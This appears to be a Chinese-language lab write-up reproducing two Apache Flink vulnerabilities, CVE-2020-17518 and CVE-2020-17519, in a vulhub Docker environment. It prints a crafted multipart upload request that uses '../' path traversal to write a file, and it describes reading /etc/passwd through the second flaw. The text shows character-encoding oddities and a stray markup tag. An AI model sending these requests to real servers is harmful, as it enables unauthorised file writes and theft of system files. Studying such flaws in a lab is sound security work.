0x00簡介
Apache Flink是近幾年大火的數(shù)據(jù)處理引擎。受到各大廠商的推崇并且已經(jīng)應(yīng)用<typo id="typo-50" data-origin="與" ignoretag="true">與</typo>實(shí)際的業(yè)務(wù)場景中。很多公司在進(jìn)行選型的時(shí)候都會選擇Apache Flink作為選型的對象。Flink核心是一個(gè)流式的數(shù)據(jù)流執(zhí)行引擎,其針對數(shù)據(jù)流的分布式計(jì)算提供了數(shù)據(jù)分布、數(shù)據(jù)通信以及容錯(cuò)機(jī)制等功能。基于流執(zhí)行引擎,F(xiàn)link提供了諸多更高抽象層的API以便用戶編寫分布式任務(wù)。
0x01漏洞概述
CVE-2020-17519
Apache Flink 1.11.0中引入的一個(gè)更改(也在1.11.1和1.11.2中發(fā)布)允許攻擊者通過JobManager進(jìn)程的REST接口讀取JobManager本地文件系統(tǒng)上的任何文件。
CVE-2020-17518
Apache Flink 1.5.1引入了一個(gè)REST處理程序,允許您通過惡意修改的HTTP頭將上傳的文件寫入到本地文件系統(tǒng)上的任意位置。
0x02影響范圍
CVE-2020-17519
1.11.0
1.11.1
1.11.2
CVE-2020-17518
Flink 1.5.1-1.11.2
0x03環(huán)境搭建
1.本次漏洞環(huán)境使用vulhub的docker環(huán)境搭建,vulhub下載地址:
https://github.com/vulhub/vulhub/
2.下載完成后傳入裝有docker和docker-compose環(huán)境的虛擬機(jī),進(jìn)入目錄
cd vulhub-master/flink/CVE-2020-17519/
3.使用docker-compose up -d 拉取漏洞環(huán)境,因17519的漏洞環(huán)境版本是1.11.2所以復(fù)現(xiàn)兩個(gè)漏洞只需要一個(gè)漏洞環(huán)境即可。出現(xiàn)”done”表示拉取成功
4.在瀏覽器輸入http://your-ip:8081查看頁面
0x04漏洞復(fù)現(xiàn)
CVE-2020-17518復(fù)現(xiàn)
1、首先我們先使用CVE-2020-17518漏洞寫入文件,在首頁抓包構(gòu)造以下構(gòu)建數(shù)據(jù)包進(jìn)行發(fā)送
POST /jars/upload HTTP/1.1
Host: your-ip:8081
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=--------721072898
Content-Length: 149
----------721072898
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../tmp/success"
success
----------721072898--
2.上面數(shù)據(jù)包返回的雖然是400但是已經(jīng)寫入到docker中,進(jìn)去docker查看
CVE-2020-17519復(fù)現(xiàn)
1.上面寫入后要是不能進(jìn)入docker查看這里可以利用CVE-2020-17519漏洞進(jìn)行文件讀取,在頁面首頁輸入以下payload查看tmp目錄下的文件
2.修改后面的payload改為查看etc下的passwd文件
0x05修復(fù)建議
建議升級到安全版本或最新版本